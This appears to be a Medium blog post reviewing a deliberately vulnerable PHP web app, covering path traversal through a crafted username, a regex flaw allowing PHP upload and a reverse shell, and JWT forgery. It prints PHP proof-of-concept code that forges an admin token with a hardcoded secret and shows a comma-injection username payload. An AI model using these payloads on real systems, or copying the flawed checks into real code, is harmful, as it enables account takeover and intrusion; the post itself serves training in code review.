Beginner Code Review (Part 2)

Broken Authorization for Privilege Escalation

  • Directory Listing
  • Lack of input sanitization
Due to the lack of input sanitization it is possible to register with the username ../files/admin. This will show the list of files available to the admin user.
The files folder does not have a “../files/admin” folder.

Unrestricted file upload to Remote Code Exec

  • Unrestricted file upload
  • Broken Authorization
Figure 1 — The php code to add a file.
Figure 2 — Regex will match .pdf and allow the php file to be uploaded.
It is possible to upload a .php file.
The php file can be accessed without authentication and PHP code can be run.
Created a reverse shell on the php file and connected to it. Result is access to the host system as www-data.

JSON Web Token Privilege Escalation

  • sign
  • signature
  • verify
  • parse_json

Exploiting the verify function:

Figure 3 — jwt.php, line 22, verify function.
A JWT without the signature is still accepted.

Exploiting parse_json function:

Parse_json function splits up the data by the commas.
Sign function has no sanitization for alphanumerical characters.
List of users in the application
Logging in as test”,”username:admin and dissecting the token.
The resultant view as use test”,”username:admin
It is possible to enumerate other usernames on the registration functionality.

Proof of concept code for exploiting JWT:


<?phpfunction verify($auth) {
list($h64,$d64,$sign) = explode(".",$auth);
if (!empty($sign) and (signature($h64.".".$d64) != $sign)) {
die("Invalid Signature");
$header = base64_decode($h64);
$data = base64_decode($d64);
return parse_json($data);
function signature($data) {
return hash("sha256","donth4ckmebr0".$data);
function parse_json($str) {
$data = explode(",",rtrim(ltrim($str, '{'), '}'));
$ret = array();
foreach($data as $entry) {
list($key, $value) = explode(":",$entry);
$key = rtrim(ltrim($key, '"'), '"');
$value = rtrim(ltrim($value, '"'), '"');
$ret[$key] = $value;
return $ret;


<?phpfunction sign($data) {
$header = str_replace("=","",base64_encode('{"alg":"HS256","iat":'.time().'}'));
$token = "{";
$token.= '"username:admin"';
$token .= "}";
$to_sign = $header.".".base64_encode($token);
return $to_sign.".".signature($to_sign);
function signature($data) {
return hash("sha256","donth4ckmebr0".$data);

What’s next



Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store